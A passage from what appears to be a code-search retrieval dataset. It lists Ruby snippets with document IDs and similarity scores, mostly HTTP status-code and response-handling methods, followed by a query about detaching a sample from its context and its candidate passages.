'Timeout'\n end\n # Generic error messages\n elsif response =~ /(Connection refused|No route to host|Connection timed out) - connect\\(\\d\\)/\n # Connection refused\n if response =~ /Connection refused - connect\\(\\d\\)/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n # No route to host\n elsif response =~ /No route to host - connect\\(\\d\\)/\n result['code'] = 502\n result['message'] = 'Bad Gateway'\n # Connection timed out\n elsif response =~ /Connection timed out - connect\\(\\d\\)/\n result['code'] = 504\n result['message'] = 'Timeout'\n end\n end\n result\n end",
"title": ""
},
{
"docid": "cfccbb7d497df1c0353e9821aab80c82",
"score": "0.64202595",
"text": "def response_code; end",
"title": ""
},
{
"docid": "cfccbb7d497df1c0353e9821aab80c82",
"score": "0.64202595",
"text": "def response_code; end",
"title": ""
},
{
"docid": "cfccbb7d497df1c0353e9821aab80c82",
"score": "0.64202595",
"text": "def response_code; end",
"title": ""
},
{
"docid": "cfccbb7d497df1c0353e9821aab80c82",
"score": "0.64202595",
"text": "def response_code; end",
"title": ""
},
{
"docid": "a9e060590c8652d017564308d84f0415",
"score": "0.6414061",
"text": "def ok?(http_code)\n http_code =~ /^20/ ||\n http_code =~ /^40/\n end",
"title": ""
},
{
"docid": "3c7b52c27463d3f189abfce39391789e",
"score": "0.64106506",
"text": "def get_response_status(response)\n case response\n when Net::HTTPSuccess\n :ok\n when Net::HTTPRedirection\n :multiple_choices\n when Net::HTTPNotFound\n :not_found\n when Net::HTTPClientError\n :bad_request\n when Net::HTTPServerError\n :internal_server_error\n else\n :bad_request\n end\n end",
"title": ""
},
{
"docid": "2a86815103861b00a8b2f11daf4c92f8",
"score": "0.6408147",
"text": "def http_code\n 403\n end",
"title": ""
},
{
"docid": "94c706f54c6304d0343e456d7f3c5900",
"score": "0.6393396",
"text": "def error code, body=nil\n code, body = 500, code if code.respond_to? :to_str\n @response.body = body unless body.nil?\n halt code\n end",
"title": ""
},
{
"docid": "7bd9060a46dd7d6b9e2f9f325a936141",
"score": "0.6387799",
"text": "def is_server_error?\n code.to_i >= 500 && code.to_i <= 599\n end",
"title": ""
},
{
"docid": "53df496cb72f7fb1ae2602cd460f4c45",
"score": "0.6383606",
"text": "def should_retry(status_code)\n !((status_code >= 400 && status_code < 500) || (status_code == 306) || (status_code == 501) || (status_code == 505)) end",
"title": ""
},
{
"docid": "85ec78fae83c74f73eea6564877e78fa",
"score": "0.6381969",
"text": "def rubygems_valid_response?(http, url)\n url.include?(RubygemsApi::BASE_URL) && http_valid_status_code?(http, [200, 404])\n end",
"title": ""
},
{
"docid": "8c0c65902e98184377ecab5d87c3cda8",
"score": "0.6380938",
"text": "def ok_status_code\n _undefined\n end",
"title": ""
},
{
"docid": "ab6ca19f73563eaabb7d974841685390",
"score": "0.6376505",
"text": "def expect_server_error_status\n is_expected.to respond_with 500\n end",
"title": ""
},
{
"docid": "e4ab287b833fd9876c1ad5ddf6cb6f10",
"score": "0.6369526",
"text": "def status_code; end",
"title": ""
},
{
"docid": "e39223756f9f3714e89a6aadefe9f79b",
"score": "0.6358521",
"text": "def http_status?(range, code)\n entry = error = nil\n case code\n when Integer then entry = HTTP_STATUS_CODE_RANGE[range]\n when Symbol then entry = HTTP_SYMBOLIC_CODE_RANGE[range]\n else error = \"invalid HTTP code #{code.inspect}\"\n end\n Log.debug { error || \"invalid HTTP range #{range.inspect}\" } unless entry\n entry&.include?(code) || false\n end",
"title": ""
},
{
"docid": "547bc7ff082fcff8c38ef89496b2484d",
"score": "0.63577825",
"text": "def elb_response_code(elb_expected_code)\n test_http_response(elb_expected_code, elb_href, ELB_PORT)\n end",
"title": ""
},
{
"docid": "0a5e6cb72e1de87f04554b7817ca02c8",
"score": "0.63560814",
"text": "def response_codes_ok?\n response_codes.all? { |code| code == 200 || code == 201 || code == 302 || code == 304 || code == 401 }\n end",
"title": ""
},
{
"docid": "1cd8d0eaa352e9fef477fb50c8a2279d",
"score": "0.63533425",
"text": "def check_response(code = :success, expected_msg = nil, line = nil)\n line = line ? \" [*_test:\" + line.to_s + \"]\" : \"\"\n assert_response code, \"expected \" + code.to_s + \", server response: \" + response.body.to_s + line\n if (code.class == Symbol)\n # Not sure why this list isn't the right one: (has :ok instead). Should fix once...\n Rack::Utils::SYMBOL_TO_STATUS_CODE[:success] = 200\n Rack::Utils::SYMBOL_TO_STATUS_CODE[:redirect] = 302\n code = Rack::Utils::SYMBOL_TO_STATUS_CODE[code]\n end\n return if (code == 302) # redirect, html body\n\n body = JSON.parse(response.body)\n #Success payloads should contain one of these.\n assert (body[0] && body[0][\"server_time\"]) ||\n body[\"status\"] == code ||\n body[\"status\"] == \"destroyed\" ||\n body[\"server_time\"] ||\n body[\"device_id\"] ||\n body[\"key_data\"] ||\n body[\"authtoken\"], \"success payload not one of the usual patterns\" + line\n return if ! expected_msg\n\n if expected_msg.class == Symbol\n expected_msg = ApplicationController.MESSAGES[expected_msg]\n assert expected_msg != nil, \"oops, your check_response passed a non-existant expected message symbol!\" + line\n end\n\n if (code == 200)\n return assert body[\"message\"] = expected_msg, \"wrong message\" + line\n end\n\n # Simple generic check against message template to see that we got\n # the right one - there will be at least 12 chars without a\n # substitution at either start or end in all our MESSAGES strings.\n # Or a whole string without formatting anywhere (when array of validation errors is stringified).\n len = 12\n ret_msg = body[\"error\"]\n # Handle short expected strings (INVALID_PARAM)\n assert ret_msg.start_with?(expected_msg.first(len)) ||\n ret_msg.end_with?(expected_msg.last(len)) ||\n ret_msg.include?(expected_msg),\n \"reply error message doesn't match:\\\"\" + ret_msg + \"\\\"!=\\\"\"+ expected_msg + \"\\\"\" + line\n end",
"title": ""
},
{
"docid": "e98d25563deb23022546b0b2a4ded68f",
"score": "0.6347767",
"text": "def halt_bad_request(code, errors, message = 'Bad request')\n data = MultiJson.dump(error: { code: code, message: message, errors: errors })\n size = data.bytesize.to_s\n [\n 400,\n { 'Content-Type' => 'application/json;charset=utf-8', 'Content-Length' => size },\n [data]\n ]\n end",
"title": ""
},
{
"docid": "a9a25b59c861b399e04f8cec148f33c2",
"score": "0.6344135",
"text": "def http_code\n '000'\n end",
"title": ""
},
{
"docid": "0456fb57b004b84cd96ad87890a23083",
"score": "0.63344365",
"text": "def derived_status_code\n\t\t# If there's a non-empty entity body, or the content length has been set explicitly\n\t\t# to something non-zero, assume the response is OK\n\t\tif self.body.size.nonzero? ||\n\t\t (self.header.content_length && self.header.content_length.nonzero?)\n\t\t\treturn HTTP::OK\n\n\t\t# otherwise set it to 204\n\t\telse\n\t\t\treturn HTTP::NO_CONTENT\n\t\tend\n\tend",
"title": ""
},
{
"docid": "f313eb10acc5c5881fc8638d319f9f83",
"score": "0.6330044",
"text": "def unknown?\n !(100...600).include?(@status_code)\n end",
"title": ""
},
{
"docid": "4de4fb6442be8ae4bd526b8c1530610a",
"score": "0.6307241",
"text": "def status_not_acceptable\n respond_to do |format|\n format.any { head :not_acceptable }\n end\n end",
"title": ""
},
{
"docid": "2e53c9bf273dcae260b92b5b0ed45409",
"score": "0.6297313",
"text": "def check_error(response) #:nodoc:\n case response.code\n when 200 then # ignore, ok\n when 500 then\n raise Error, 'server error'\n when 601 then\n raise AddressError, 'missing address'\n when 602 then\n raise AddressError, 'unknown address'\n when 603 then\n raise AddressError, 'unavailable address'\n when 610 then\n raise CredentialsError, 'invalid key'\n when 620 then\n raise CredentialsError, 'too many queries'\n else\n raise Error, \"unknown error #{response.code}\"\n end\n end",
"title": ""
},
{
"docid": "325becca88e90f9e2ae7a8edda5fe45e",
"score": "0.62942266",
"text": "def parse_response_line\n if @headers.first =~ /\\AHTTP\\/1\\.[01] ([\\d]{3})/\n @status = $1.to_i\n else\n set_deferred_status :failed, {\n :status => 0 # crappy way of signifying an unrecognized response. TODO, find a better way to do this.\n }\n close_connection\n end\n end",
"title": ""
},
{
"docid": "83ca67b469de4d6044888b56abaf9858",
"score": "0.62928444",
"text": "def http_error_code_for(errors)\n if errors.any? { |message| message.include? CONFLICT_MESSAGE }\n :conflict\n else :unprocessable_entity end\n end",
"title": ""
},
{
"docid": "a3a0954a44e3c696b8d38bbb12b49c9b",
"score": "0.62828654",
"text": "def http_error(code, message = nil, headers = {})\n [code, {'Content-Type' => 'text/plain; charset=utf-8'}.merge(headers),\n [http_status(code) + (message.nil? ? \"\\n\" : \" (#{message})\\n\")]]\n end",
"title": ""
},
{
"docid": "e4286e63b79c8576327ab01aed01d175",
"score": "0.627974",
"text": "def five_hundred(_error)\n json_response({ message: Message.something_went_wrong }, :internal_server_error)\n end",
"title": ""
},
{
"docid": "c568aeef9985e0131f2a7c9d1964d086",
"score": "0.62563735",
"text": "def error?\n (500..599).include?(status)\n end",
"title": ""
},
{
"docid": "9ad7d31e612c4740b0733c15e40309ec",
"score": "0.62511015",
"text": "def is_successful?\n code.to_i >= 200 && code.to_i <= 299\n end",
"title": ""
},
{
"docid": "fb1ec552c71bc1f23946e48bafee21ca",
"score": "0.6242046",
"text": "def raise_http_errors(status, message)\n error_class = Starwars::Error.errors[status]\n fail(error_class.new(message, status)) if error_class\n end",
"title": ""
},
{
"docid": "216403d84384dd1160de4695947f7f43",
"score": "0.6235619",
"text": "def shields_io_valid_response?(http, url)\n url.include?(BadgeApi::BASE_URL) && http_valid_status_code?(http, 200) && http_valid_content_types?(http)\n end",
"title": ""
},
{
"docid": "2728999c02023b292e7f35c947683ca5",
"score": "0.6233661",
"text": "def handle_response(response) # :nodoc:\n case response.code\n when 400\n #IN CASE WE WANT MORE PRECISE ERROR NAMES\n #data = response.parsed_response\n #case data['code']\n #when 230\n # raise ParameterDataInvalid.new data\n #else\n # raise BadRequest.new data\n #end\n raise BadRequest.new(response.parsed_response)\n when 403\n raise Unauthorized.new(response.parsed_response)\n when 404\n raise NotFound.new\n when 400...500\n raise ClientError.new\n when 500...600\n raise ServerError.new\n else\n response.parsed_response\n end\n end",
"title": ""
},
{
"docid": "24be43175306b3e32a0933ffd6705f78",
"score": "0.62318414",
"text": "def handle_bad_request\n make_response(400, 'Bad request (invalid input)')\nend",
"title": ""
},
{
"docid": "24be43175306b3e32a0933ffd6705f78",
"score": "0.62318414",
"text": "def handle_bad_request\n make_response(400, 'Bad request (invalid input)')\nend",
"title": ""
},
{
"docid": "378a683235d9f0473dfea98708fc0a3a",
"score": "0.6227795",
"text": "def handle_response(resp, head_instead: false)\n case resp.code\n when 200, 201\n head_instead ? resp.headers : JSON.parse(resp.body)\n when 202, 204\n true\n when 400\n raise BadRequest, resp\n when 401\n raise NotAllowed, resp\n when 403\n raise NotAuthorized, resp\n when 404\n raise NotFound, resp\n else\n if resp.code >= 500\n raise ServerError, resp\n else\n raise Error, resp\n end\n end\n end",
"title": ""
},
{
"docid": "291da03b83b5060f59874c2157601285",
"score": "0.62275463",
"text": "def status_code\n 500 # This should not be called directly\n end",
"title": ""
},
{
"docid": "32ba738c78795d710bf7c66eca1c2e9d",
"score": "0.6219028",
"text": "def handle_response(response)\n case response.code.to_i\n when 301, 302, 303, 307\n raise(Redirection.new(response))\n when 200...400\n response\n when 400\n raise(BadRequest.new(response))\n when 401\n raise(UnauthorizedAccess.new(response))\n when 403\n raise(ForbiddenAccess.new(response))\n when 404\n raise(ResourceNotFound.new(response))\n when 405\n raise(MethodNotAllowed.new(response))\n when 409\n raise(ResourceConflict.new(response))\n when 410\n raise(ResourceGone.new(response))\n when 422\n raise(ResourceInvalid.new(response))\n when 401...500\n raise(ClientError.new(response))\n when 500...600\n raise(ServerError.new(response))\n else\n raise(ConnectionError.new(response, \"Unknown response code: #{response.code}\"))\n end\n end",
"title": ""
},
{
"docid": "0411afd22289c3e5e87fcedf6c165de2",
"score": "0.6213619",
"text": "def validate_response(resp)\n # The length for a chunked response is 0, so checking it isn't meaningful.\n return resp if resp.headers['Transfer-Encoding'] == 'chunked'\n\n exp_content_length = resp.headers['Content-Length'].to_i\n actual_content_length = resp.body.length\n return resp if actual_content_length == exp_content_length\n\n errmsg = \"Incomplete response received from Symphony for #{@catkey} - expected #{exp_content_length} bytes but got #{actual_content_length}\"\n Honeybadger.notify(errmsg)\n raise ResponseError, errmsg\n end",
"title": ""
}
] |
1aa9729446386cea66559e4384079a99
|
Removes sample from its context when getting transferred. It's added to the destination context when confirmed.
|
[
{
"docid": "f96a28a3ea746acddcdc3c1ac010b29c",
"score": "0.4830972",
"text": "def detach_from_context\n assign_attributes(\n batch: nil,\n old_batch_number: batch.try(:batch_number),\n site: nil,\n institution: nil\n )\n end",
"title": ""
}
] |
[
{
"docid": "688986a20ad42cbe83f50d8caef45a61",
"score": "0.6171725",
"text": "def destroy\n @sample.destroy\n end",
"title": ""
},
{
"docid": "c82e4d167b9f654c7a49040b91199a08",
"score": "0.5647012",
"text": "def sample_without_replacement(sample=1)\n if @data.respond_to? :sample_without_replacement\n @data.sample_without_replacement sample\n else\n raw_sample_without_replacement(sample)\n end\n end",
"title": ""
},
{
"docid": "378afcd4639c09e1fa406144e7de2018",
"score": "0.54302",
"text": "def destroy\n @sample = Sample.find(params[:id])\n @sample.destroy\n\n respond_to do |format|\n format.html { redirect_to(samples_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "ac366d61b5223cec361145e324576be7",
"score": "0.5428243",
"text": "def destroy\n @sample.destroy\n respond_to do |format|\n format.html { redirect_to samples_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c58943881ed9bec5b6bb11e8a6a15d3c",
"score": "0.54050016",
"text": "def cancel\n # Context is already cleared in before_action\n end",
"title": ""
},
{
"docid": "231d791adca2dd22c5490ea5a002261c",
"score": "0.53769135",
"text": "def discard!\n # This should be overridden by concrete adapters.\n end",
"title": ""
},
{
"docid": "e9c7df6f6aac3312f8606be47b345049",
"score": "0.5367875",
"text": "def destroy\n @sample = Sample.find(params[:id])\n @sample.destroy\n\n respond_to do |format|\n format.html { redirect_to samples_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e9c7df6f6aac3312f8606be47b345049",
"score": "0.5367875",
"text": "def destroy\n @sample = Sample.find(params[:id])\n @sample.destroy\n\n respond_to do |format|\n format.html { redirect_to samples_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f76ac9710bd0ea9af08709cdf4614096",
"score": "0.53307736",
"text": "def sample_for_delete(src = :delete_example)\n current = delete_id && Manifest.find_by(id: delete_id)\n return current if current && (src == :delete_example)\n current&.delete\n new_record(src).tap do |record|\n self.delete_id = record.id if record.save!\n end\n end",
"title": ""
},
{
"docid": "c79e9fd65958491881e9ad851f5bc82d",
"score": "0.5289853",
"text": "def destroy\n @sample.destroy\n respond_to do |format|\n format.html { redirect_to samples_url, notice: 'Sample was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c79e9fd65958491881e9ad851f5bc82d",
"score": "0.5289853",
"text": "def destroy\n @sample.destroy\n respond_to do |format|\n format.html { redirect_to samples_url, notice: 'Sample was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c79e9fd65958491881e9ad851f5bc82d",
"score": "0.5289853",
"text": "def destroy\n @sample.destroy\n respond_to do |format|\n format.html { redirect_to samples_url, notice: 'Sample was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c79e9fd65958491881e9ad851f5bc82d",
"score": "0.5289853",
"text": "def destroy\n @sample.destroy\n respond_to do |format|\n format.html { redirect_to samples_url, notice: 'Sample was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c79e9fd65958491881e9ad851f5bc82d",
"score": "0.5289853",
"text": "def destroy\n @sample.destroy\n respond_to do |format|\n format.html { redirect_to samples_url, notice: 'Sample was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2d718a22298b78ee1266abb751a54749",
"score": "0.52513707",
"text": "def discard\n @av_stream[:discard]\n end",
"title": ""
},
{
"docid": "4ed6ded3d7de15d935e9294189961c18",
"score": "0.5247822",
"text": "def destroy\n assert_source_saved 'The source must be saved before mass-deleting the collection'\n super\n end",
"title": ""
},
{
"docid": "4ed6ded3d7de15d935e9294189961c18",
"score": "0.5247822",
"text": "def destroy\n assert_source_saved 'The source must be saved before mass-deleting the collection'\n super\n end",
"title": ""
},
{
"docid": "714f29eb13ae1357e900fd2444abc616",
"score": "0.5238119",
"text": "def cancel!\n # Context is already cleared in action_for_message\n end",
"title": ""
},
{
"docid": "5c0ba9990fa4f62c472350b95a713760",
"score": "0.5233693",
"text": "def discard_transaction\n\t clear_vertex\n\t super if defined? super\n\tend",
"title": ""
},
{
"docid": "d045b2f1f54faaafb474daa66d31efc9",
"score": "0.5225594",
"text": "def destroy\n AudioSource.delete( @bundle_source.audio_sources )\n \n corresponding_bundle = @bundle_source.bundle_id\n if( @bundle_source.bundle_id )\n corresponding_bundle = Bundle.find_by_id( @bundle_source.bundle_id )\n if( corresponding_bundle && corresponding_bundle.created_by_user_id == @user.id )\n logger.info(\"****** DESROY invoked ****** \")\n corresponding_bundle.destroy\n end\n end\n\n @bundle_source.destroy\n\n respond_to do |format|\n format.html { redirect_to(bundle_sources_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "25a8ff94e1bddc20aa5d6157b7392b0b",
"score": "0.52063924",
"text": "def clear_builder\n TransactionState.get.transaction_sample_builder = nil\n end",
"title": ""
},
{
"docid": "1049b5cd4f827ff752f0c6edfcdd65ea",
"score": "0.51963633",
"text": "def unsubscribe(source)\n #TODO\n end",
"title": ""
},
{
"docid": "60b2374b3a04dcd41c6baf1ed88643d5",
"score": "0.5188535",
"text": "def reset!\n @samples_lock.synchronize do\n @last_sample = nil\n @sample_buffers.each { |sample_buffer| sample_buffer.reset! }\n end\n end",
"title": ""
},
{
"docid": "60b2374b3a04dcd41c6baf1ed88643d5",
"score": "0.5188535",
"text": "def reset!\n @samples_lock.synchronize do\n @last_sample = nil\n @sample_buffers.each { |sample_buffer| sample_buffer.reset! }\n end\n end",
"title": ""
},
{
"docid": "fd56d76f25cc337b871bea9e4912e03b",
"score": "0.5186588",
"text": "def destroy!\n assert_source_saved 'The source must be saved before mass-deleting the collection'\n super\n end",
"title": ""
},
{
"docid": "fd56d76f25cc337b871bea9e4912e03b",
"score": "0.5186588",
"text": "def destroy!\n assert_source_saved 'The source must be saved before mass-deleting the collection'\n super\n end",
"title": ""
},
{
"docid": "13cf1447bcbd79f39d068b8d3dc78950",
"score": "0.51806104",
"text": "def finish_example\n AMQP.cleanup_state\n super\n end",
"title": ""
},
{
"docid": "31bf1f068b91f8ee852783dd914b1185",
"score": "0.5114533",
"text": "def destroy\n\n @title = \"Filter sample\"\n\n @filter_sample = FilterSample.find(params[:id])\n flash[:notice] = \"Deleted filter sample: \" + @filter_sample.verbose_me\n @filter_sample.destroy\n\n respond_to do |format|\n format.html { redirect_to(filter_samples_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "202bb86d7a0115d4b1326cbc0f5d9dbc",
"score": "0.5109893",
"text": "def m_delete\n a = source \"a\"\n sink a.delete(\"b\") # $ hasTaintFlow=a\n sink a.delete_prefix(\"b\") # $ hasTaintFlow=a\n sink a.delete_suffix(\"b\") # $ hasTaintFlow=a\nend",
"title": ""
},
{
"docid": "830cedc7b05d18cbad998dfd8e436b37",
"score": "0.51077867",
"text": "def reset\n @context = nil\n end",
"title": ""
},
{
"docid": "22fe6b1261d97b2fb573f45589dce36f",
"score": "0.5107753",
"text": "def pop_context\n context.pop\n end",
"title": ""
},
{
"docid": "a7038bf6f4f3c2ff93369ffc3213dcae",
"score": "0.5095501",
"text": "def sample_for_delete(src = :delete_example)\n current = delete_id && User.find_by(id: delete_id)\n return current if current && (src == :delete_example)\n current&.delete\n new_record(src).tap do |record|\n self.delete_id = record.id if record.save!\n end\n end",
"title": ""
},
{
"docid": "bef148a7a1fc687bc1a9e35e4ebc7ef4",
"score": "0.5081121",
"text": "def destroy\n # @sample = Sample.find(params[:id])\n # @sample.destroy\n\n# respond_to do |format|\n# format.html { redirect_to samples_url }\n# format.json { head :no_content }\n# end\n end",
"title": ""
},
{
"docid": "4c04010777f5f92c3fb4f9f82d1bdfad",
"score": "0.5071374",
"text": "def destroy\n flash[:notice] = 'The source was successfully removed.' if source.destroy\n respond_with(source)\n end",
"title": ""
},
{
"docid": "f7055f173f7c284374ac3f06aacd7256",
"score": "0.5056958",
"text": "def reset_context\n @context = nil\n end",
"title": ""
},
{
"docid": "4fe003efe47ed16d0d266d2ddba7099e",
"score": "0.5054672",
"text": "def unsubscribe()\n \n end",
"title": ""
},
{
"docid": "538996aa7c45f83d3ada83d604281918",
"score": "0.503413",
"text": "def sample_and_remove(n)\n samples = sample(n)\n @content -= samples\n samples\n end",
"title": ""
},
{
"docid": "36546df1c164e977cd0ee0deb5050099",
"score": "0.501612",
"text": "def pop\n context.pop\n end",
"title": ""
},
{
"docid": "6f9e4a1a0ed279fca23164e3e08f30f4",
"score": "0.4975466",
"text": "def destroy\n @sample.destroy\n respond_to do |format|\n format.html { redirect_to samples_url, notice: 'Sample was successfully destroyed.' }\n format.js { flash[:notice] = 'Task was successfully destroyed.'}\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "dbee3826e02f61b0bca7741f30178e83",
"score": "0.49700195",
"text": "def drop\n self.class.contexts_by_connection.delete connection\n self.class.no_connection_contexts.delete self\n super\n end",
"title": ""
},
{
"docid": "814a274e109db5e63be7d758b7ed4d0f",
"score": "0.49591663",
"text": "def clear!\n contexts.clear\n end",
"title": ""
},
{
"docid": "814a274e109db5e63be7d758b7ed4d0f",
"score": "0.49591663",
"text": "def clear!\n contexts.clear\n end",
"title": ""
},
{
"docid": "a099f58ecd2ea2d2b5448bd108e24fcf",
"score": "0.4941017",
"text": "def before_destroy\n destroy_samplings\n end",
"title": ""
},
{
"docid": "eb4278fe8ed9b8ec91c07007d0f2f27b",
"score": "0.49306425",
"text": "def destroy\n @sampleunit = Sampleunit.find(params[:id])\n @sampleunit.destroy\n\n respond_to do |format|\n format.html { redirect_to(sampleunits_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "2115d4b12c98e9ef49f5602be81f03c7",
"score": "0.49305546",
"text": "def destroy\n @sample_product = SampleProduct.find(params[:id])\n @sample_product.destroy\n\n respond_to do |format|\n format.html { redirect_to(sample_products_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "67a62b4f15810e70c182a6cff0d07acd",
"score": "0.49173456",
"text": "def destroy\n @xml_sample = XmlSample.find(params[:id])\n @xml_sample.destroy\n\n respond_to do |format|\n format.html { redirect_to xml_samples_url }\n format.xml do\n xml = {msg: \"complete\", status: \"OK\"}.to_xml\n return render xml: xml\n end\n end\n end",
"title": ""
},
{
"docid": "92e77acbdc4edfc8f199adef8561e973",
"score": "0.49139878",
"text": "def clear_context\n @current_context = nil\n end",
"title": ""
},
{
"docid": "a4e1a9b963979a34bfabfc7cc5c0a54f",
"score": "0.49094898",
"text": "def unsubscribed # :doc:\n # Override in subclasses\n end",
"title": ""
},
{
"docid": "320e6e59f5c09e58774970dac98c7dc4",
"score": "0.4897552",
"text": "def clean_arb_samples(src)\n Find.find(src) do |path|\n next if File.basename(path) !~ /^sample$/i\n FileUtils.rm_r(path,$options) if File.directory? path\n end\nend",
"title": ""
},
{
"docid": "b43e8accb0ea181d45ed94d1e8eea60f",
"score": "0.4897273",
"text": "def copy(io, context)\n super\n if io.respond_to?(:path) && io.path && delete_raw? && context[:delete] != false\n begin\n File.delete(io.path)\n rescue Errno::ENOENT\n # file might already be deleted by the moving plugin\n end\n end\n end",
"title": ""
},
{
"docid": "0a0a4258bb8608e7b915544fbf407066",
"score": "0.48963976",
"text": "def teardown\n # No-op\n end",
"title": ""
},
{
"docid": "ceadf0d320a193ed65518fc18f511a29",
"score": "0.4892828",
"text": "def _delete(uploaded_file, context)\n remove(uploaded_file, context)\n end",
"title": ""
},
{
"docid": "f98656aa6a7e7c172cdea09f180dbaa2",
"score": "0.48925266",
"text": "def unsend!\n @_sended = false\n end",
"title": ""
},
{
"docid": "7bede02c8c2b0cc58cc27d79a9d77cf1",
"score": "0.48868376",
"text": "def destroy\n @image_to_sample.destroy\n respond_to do |format|\n format.html { redirect_to image_to_samples_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4abfd9ac6a8968375df20edb7f1fa667",
"score": "0.48716688",
"text": "def discard(card)\n hand.transfer!(card: card, to: discard_pile)\n end",
"title": ""
},
{
"docid": "e763d0ea700625c3bca74d71fb3721f6",
"score": "0.48671892",
"text": "def request_delivered\n @request = Request_Sample.find(params[:request])\n @request.destroy\n respond_to do |format|\n format.html { redirect_to profiles_path(current_trader.id)}\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b563eb7b85198a622e6e21b9ef6ebfaf",
"score": "0.48528308",
"text": "def destroy\n @sampled_url = SampledUrl.find(params[:id])\n @sampled_url.destroy\n\n respond_to do |format|\n format.html { redirect_to sampled_urls_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cc86dded43574c6196edd72c24ace2d5",
"score": "0.48472425",
"text": "def suspend_context(context)\n @context, back_context = context, @context\n begin\n yield back_context\n ensure\n @context = back_context\n end\n end",
"title": ""
},
{
"docid": "92a051a564e31a56e32da4b3709a30e5",
"score": "0.48396957",
"text": "def clean_test_case\n if File.exists?(@local_file_download_destination)\n File.delete(@local_file_download_destination)\n end\n end",
"title": ""
},
{
"docid": "b88848d8ae2d7fe93cae155734e1778b",
"score": "0.48369905",
"text": "def destroy\n @mycometer_coc_sample.destroy\n respond_to do |format|\n format.html { redirect_to mycometer_coc_samples_url, notice: 'Mycometer coc sample was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "47b0a0aea697d3933f08d64c30cff216",
"score": "0.4832797",
"text": "def destroy\n @sample_property = SampleProperty.find(params[:id])\n @sample = Sample.find(@sample_property.sample_id)\n @sample_property.destroy\n\n respond_to do |format|\n format.html { redirect_to project_sample_set_sample_path(params[:project_id],params[:sample_set_id],@sample) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d0c8123ced89177b3c1648dcef28fb07",
"score": "0.4821806",
"text": "def delete_from_permanent_storage\n raise \"This method only works in the test environment\" unless Rails.env.test?\n self.bitstreams.each(&:delete_from_permanent_storage)\n end",
"title": ""
},
{
"docid": "511cda7576de3d60d0da96d0b926dd89",
"score": "0.48160166",
"text": "def teardown\n @aud = nil\n end",
"title": ""
},
{
"docid": "4b2e97852367845b65c199a65ab051cc",
"score": "0.481421",
"text": "def test_deleting_cancels_in_gateway\n #Freemium.gateway.expects(:unstore).once.returns(nil)\n subscription = Factory(:paid_subscription)\n @paid_plan = subscription.subscription_plan\n subscription.destroy\n\n assert_changed(subscription.subscribable, :cancellation, @paid_plan, nil)\n end",
"title": ""
},
{
"docid": "4f60c1cfe433f6600ac4e914c4b1a56b",
"score": "0.48140717",
"text": "def reset!\n @context = [context[0]]\n end",
"title": ""
},
{
"docid": "c3f641c848b190cbc8e3ac04ae4e42fa",
"score": "0.48096344",
"text": "def unsubscribe; end",
"title": ""
},
{
"docid": "4a243b094ca4612e1c183a8b2e15e861",
"score": "0.48066887",
"text": "def unsubscribed\n end",
"title": ""
},
{
"docid": "4a243b094ca4612e1c183a8b2e15e861",
"score": "0.48066887",
"text": "def unsubscribed\n end",
"title": ""
},
{
"docid": "3f3af0698afb4be7724e1671081a98f6",
"score": "0.48006424",
"text": "def unsubscribed; end",
"title": ""
},
{
"docid": "21a3f5f98f33377a6f3220df2a9176ed",
"score": "0.47921112",
"text": "def stop(bp, args)\n @takingSamples = false\n bp.complete(@sampleList)\n end",
"title": ""
},
{
"docid": "f1798d9179e800e812589dac3e17b396",
"score": "0.4776848",
"text": "def destroy\n @temporary_source = TemporarySource.find(params[:id])\n @temporary_source.destroy\n\n respond_to do |format|\n format.html { redirect_to temporary_sources_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "45ad6cb9bca622e87fe5fbf7729f355f",
"score": "0.4775609",
"text": "def remove_value(key, context: Context.current)\n correlations = correlations_for(context)\n return context unless correlations.key?(key)\n\n new_correlations = correlations.dup\n new_correlations.delete(key)\n context.set_value(CORRELATION_CONTEXT_KEY, new_correlations)\n end",
"title": ""
},
{
"docid": "d95eae3ec06df5503257e3e959b64b35",
"score": "0.4758231",
"text": "def teardown\n @play = nil\n end",
"title": ""
},
{
"docid": "43a6cbe26ec78a18d64545ae39e5e2e9",
"score": "0.47530827",
"text": "def set_initial_sample_decision(sampling_context:)\n unless @tracing_enabled\n @sampled = false\n return\n end\n\n unless @sampled.nil?\n @effective_sample_rate = @sampled ? 1.0 : 0.0\n return\n end\n\n sample_rate =\n if @traces_sampler.is_a?(Proc)\n @traces_sampler.call(sampling_context)\n elsif !sampling_context[:parent_sampled].nil?\n sampling_context[:parent_sampled]\n else\n @traces_sample_rate\n end\n\n transaction_description = generate_transaction_description\n\n if [true, false].include?(sample_rate)\n @effective_sample_rate = sample_rate ? 1.0 : 0.0\n elsif sample_rate.is_a?(Numeric) && sample_rate >= 0.0 && sample_rate <= 1.0\n @effective_sample_rate = sample_rate.to_f\n else\n @sampled = false\n log_warn(\"#{MESSAGE_PREFIX} Discarding #{transaction_description} because of invalid sample_rate: #{sample_rate}\")\n return\n end\n\n if sample_rate == 0.0 || sample_rate == false\n @sampled = false\n log_debug(\"#{MESSAGE_PREFIX} Discarding #{transaction_description} because traces_sampler returned 0 or false\")\n return\n end\n\n if sample_rate == true\n @sampled = true\n else\n @sampled = Random.rand < sample_rate\n end\n\n if @sampled\n 